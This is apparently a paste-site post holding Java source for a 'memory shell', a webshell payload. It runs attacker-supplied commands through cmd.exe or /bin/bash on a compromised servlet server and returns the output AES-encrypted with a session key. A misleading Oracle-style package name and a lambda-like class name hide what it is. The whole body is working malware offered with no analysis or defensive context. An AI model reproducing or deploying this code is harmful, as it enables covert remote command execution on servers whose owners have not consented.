JohnGalt14 icon

JAVA Memory Shell

JohnGalt14 | PRO | 02/28/25 02:52:10 PM UTC | 0 ⭐ | 959 👁️ | Never ⏰ | []
Java |

7.73 KB

|

None

|

0 👍

/

0 👎

package com.oracle.qb.jnbp;
 
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Random;
import java.util.UUID;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
 
public class RqFl$$Lambda$1 {
   public static String cmd;
   private ServletRequest Request;
   private ServletResponse Response;
   private HttpSession Session;
 
   private byte[] Encrypt(byte[] var1) throws Exception {
      byte[] var2 = this.Session.getAttribute("u").toString().getBytes("utf-8");
      Cipher var3 = Cipher.getInstance("AES/ECB/PKCS5Padding");
      var3.init(1, new SecretKeySpec(var2, "AES"));
      return var3.doFinal(var1);
   }
 
   private String buildJson(Map<String, String> var1, boolean var2) throws Exception {
      StringBuilder var3 = new StringBuilder();
      String var4 = System.getProperty("java.version");
      var3.append("{");
      Iterator var5 = var1.keySet().iterator();
 
      while(var5.hasNext()) {
         String var6 = (String)var5.next();
         var3.append("\"" + var6 + "\":\"");
         String var7 = (String)var1.get(var6);
         if (var2) {
            Class var8;
            Object var9;
            if (var4.compareTo("1.9") >= 0) {
               var8 = Class.forName("java.util.Base64");
               var9 = var8.getMethod("getEncoder", (Class[])null).invoke(var8, (Object[])null);
               var7 = (String)var9.getClass().getMethod("encodeToString", byte[].class).invoke(var9, var7.getBytes("UTF-8"));
            } else {
               var8 = Class.forName("sun.misc.BASE64Encoder");
               var9 = var8.newInstance();
               var7 = (String)var9.getClass().getMethod("encode", byte[].class).invoke(var9, var7.getBytes("UTF-8"));
               var7 = var7.replace("\n", "").replace("\r", "");
            }
         }
 
         var3.append(var7);
         var3.append("\",");
      }
 
      if (var3.toString().endsWith(",")) {
         var3.setLength(var3.length() - 1);
      }
 
      var3.append("}");
      return var3.toString();
   }
 
   private String getRandomString() {
      int var1 = (new Random()).nextInt(36) + 1;
      return UUID.randomUUID().toString().substring(var1);
   }
 
   private String RunCMD(String var1) throws Exception {
      Charset var2 = Charset.forName(System.getProperty("sun.jnu.encoding"));
      StringBuilder var3 = new StringBuilder();
      if (var1 != null && var1.length() > 0) {
         Process var4;
         if (System.getProperty("os.name").toLowerCase().contains("windows")) {
            var4 = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", var1});
         } else if (var1.startsWith("!") && var1.contains(" ")) {
            var1 = var1.substring(1);
            String var8 = var1.substring(0, var1.indexOf(" "));
            String var6 = var1.substring(var1.indexOf(" ") + 1);
            var4 = Runtime.getRuntime().exec(new String[]{var8, "-c", var6});
         } else if (var1.startsWith("@")) {
            var1 = var1.substring(1);
            var4 = Runtime.getRuntime().exec(var1);
         } else {
            File var5 = new File("/bin/bash");
            if (!var5.exists()) {
               var4 = Runtime.getRuntime().exec(var1);
            } else {
               var4 = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", var1});
            }
         }
 
         Thread.sleep(200L);
         InputStream var9;
         if (var4.getErrorStream().available() != 0) {
            var9 = var4.getErrorStream();
         } else {
            var9 = var4.getInputStream();
         }
 
         BufferedReader var10 = new BufferedReader(new InputStreamReader(var9, "GB2312"));
 
         for(String var7 = var10.readLine(); var7 != null; var7 = var10.readLine()) {
            var3.append(var7).append("\n");
         }
      }
 
      return new String(var3.toString().getBytes(var2));
   }
 
   public boolean equals(Object var1) {
      boolean var2 = false;
      HashMap var3 = new HashMap();
      boolean var14 = false;
 
      ServletOutputStream var22;
      label118: {
         label119: {
            try {
               var14 = true;
               if (var1.getClass().toString().contains("PageContext")) {
                  this.Response = (ServletResponse)var1.getClass().getDeclaredMethod("getResponse", (Class[])null).invoke(var1);
                  this.Session = (HttpSession)var1.getClass().getDeclaredMethod("getSession", (Class[])null).invoke(var1);
                  var2 = true;
               } else {
                  this.Session = (HttpSession)((Object[])((Object[])var1))[0];
                  this.Response = (ServletResponse)((Object[])((Object[])var1))[1];
               }
 
               this.Response.setContentType("application/octet-stream");
               this.Response.setCharacterEncoding("UTF-8");
               if (var2) {
                  Object var4 = Class.forName("javax.servlet.jsp.PageContext").getMethod("getOut").invoke(var1);
                  var4.getClass().getMethod("clear").invoke(var4);
               }
 
               var3.put("msg", this.RunCMD(cmd));
               var14 = false;
               break label118;
            } catch (Exception var19) {
               var3.put("msg", var19.getMessage());
               var14 = false;
            } catch (Throwable var20) {
               var3.put("msg", var20.toString());
               var14 = false;
               break label119;
            } finally {
               if (var14) {
                  try {
                     var3.put("status", "success");
                     var3.put("random", this.getRandomString() + this.getRandomString());
                     ServletOutputStream var6 = this.Response.getOutputStream();
                     var6.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
                     var6.flush();
                     var6.close();
                  } catch (Exception var15) {
                     var15.printStackTrace();
                  }
 
               }
            }
 
            try {
               var3.put("status", "success");
               var3.put("random", this.getRandomString() + this.getRandomString());
               var22 = this.Response.getOutputStream();
               var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
               var22.flush();
               var22.close();
            } catch (Exception var17) {
               var17.printStackTrace();
            }
 
            return true;
         }
 
         try {
            var3.put("status", "success");
            var3.put("random", this.getRandomString() + this.getRandomString());
            var22 = this.Response.getOutputStream();
            var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
            var22.flush();
            var22.close();
         } catch (Exception var16) {
            var16.printStackTrace();
         }
 
         return true;
      }
 
      try {
         var3.put("status", "success");
         var3.put("random", this.getRandomString() + this.getRandomString());
         var22 = this.Response.getOutputStream();
         var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
         var22.flush();
         var22.close();
      } catch (Exception var18) {
         var18.printStackTrace();
      }
 
      return true;
   }
}
 

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎